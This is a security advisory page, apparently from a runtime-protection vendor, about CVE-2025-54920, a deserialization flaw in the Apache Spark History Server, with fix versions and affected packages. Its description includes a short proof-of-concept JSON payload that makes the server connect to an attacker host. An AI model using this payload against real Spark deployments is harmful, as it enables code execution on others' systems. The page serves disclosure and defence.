WaratekVRT Sign in

CVE-2025-54920 Apache Spark

Affected softwareApache Spark
Severity8.8 High CVSS 3.1
Fixed in4.0.1, 3.5.7
WeaknessDeserialization of untrusted data (CWE-502)
Published16 Mar 2026
Updated17 Jun 2026

Description

This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue. Summary Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server. Details The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization. The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability. Proof of Concept: 1. Run Spark with event logging enabled, writing to a writable directory (spark-logs). 2. Inject the following JSON at the beginning of an event log file: { "Event": "org.apache.hive.jdbc.HiveConnection", "uri": "jdbc:hive2://<IP>:<PORT>/", "info": { "hive.metastore.uris": "thrift://<IP>:<PORT>" } } 3. Start the Spark History Server with logs pointing to the modified directory. 4. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection. Impact An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.

Exploitation status

No public exploit

No exploit has been reported in the sources we check.

  • CISA KEV not listed
  • VulnCheck KEV not listed
  • CISA Vulnrichment exploitation: none
  • Indexed PoC none indexed
  • EPSS 6.3% chance in 30 days

Waratek protection

Protected by Waratek

Waratek has a rule that blocks attacks on this vulnerability.

Decided by A vulnerability class already blocked by an ARMR security rule
Finding Protected by Waratek's ARMR command-injection security rule, which blocks this class of attack at the JVM level without a rule written for this CVE specifically. The CVE's description identifies a command injection vulnerability. Matched by description (CWE-502 was assigned, but does not settle the class on its own).
Candidate fix https://github.com/apache/spark/pull/51312 : a pull request: the change under review

How to mitigate CVE-2025-54920

Upgrade Apache Spark to a release that fixes it: 4.0.1 or 3.5.7. Until you can, Waratek RASP blocks exploitation with its process rule. It runs inside the Java application, with no code changes.

Waratek RASP Runtime protection for Java applications

Affected software and releases

Oracle advisories

AdvisoryTypeQuarterProducts Oracle names in its risk matrix
Oracle Critical Patch Update July 2026 ↗ CPU 2026-Q3 Oracle GoldenGate / Third Party (Apache Spark) (19.1.0.0.0-19.1.0.0.15)

Oracle components and versions

FamilyComponentVersions, as Oracle lists themRead as
Oracle GoldenGate Third Party (Apache Spark) 19.1.0.0.0-19.1.0.0.15

Maven packages

Affected and fixed versions, from OSV.dev
PackageIntroducedFixedLast affected
org.apache.spark:spark-core_2.13 4.0.0 4.0.1 unbounded
org.apache.spark:spark-core_2.13 0 3.5.7 unbounded
org.apache.spark:spark-core_2.12 0 3.5.7 unbounded
org.apache.spark:spark-core_2.11 0 none 2.4.8
org.apache.spark:spark-core_2.10 0 none 2.2.3
org.apache.spark:spark-core_2.9.3 0 none 0.8.1-incubating

Products and versions

6 products, 16 version entries
SourceVendorProductSchemeAffected versions
nvd apache spark generic < 3.5.7 · 4.0.0 · 4.0.0:rc1 · 4.0.0:rc2 · 4.0.0:rc3 · 4.0.0:rc4 · 4.0.0:rc5 · 4.0.0:rc6 · 4.0.0:rc7 · 4.0.1:rc1
osv org.apache.spark spark-core_2.10 generic ≤ 2.2.3
osv org.apache.spark spark-core_2.11 generic ≤ 2.4.8
osv org.apache.spark spark-core_2.12 generic < 3.5.7
osv org.apache.spark spark-core_2.13 generic < 3.5.7 · ≥ 4.0.0 and < 4.0.1
osv org.apache.spark spark-core_2.9.3 generic ≤ 0.8.1

References

URLTags
https://github.com/apache/spark/pull/51312 pr
https://github.com/apache/spark/pull/51323 WEB
https://github.com/apache/spark PACKAGE
https://issues.apache.org/jira/browse/SPARK-52381 WEB
https://lists.apache.org/thread/4y9n0nfj7m68o2hpmoxgc0y7dm1lo02s WEB
http://www.openwall.com/lists/oss-security/2026/03/13/4 WEB

Timeline

Published2026-03-16By the CVE Program.
NVD record modified2026-06-17NVD's own last-modified date for this record.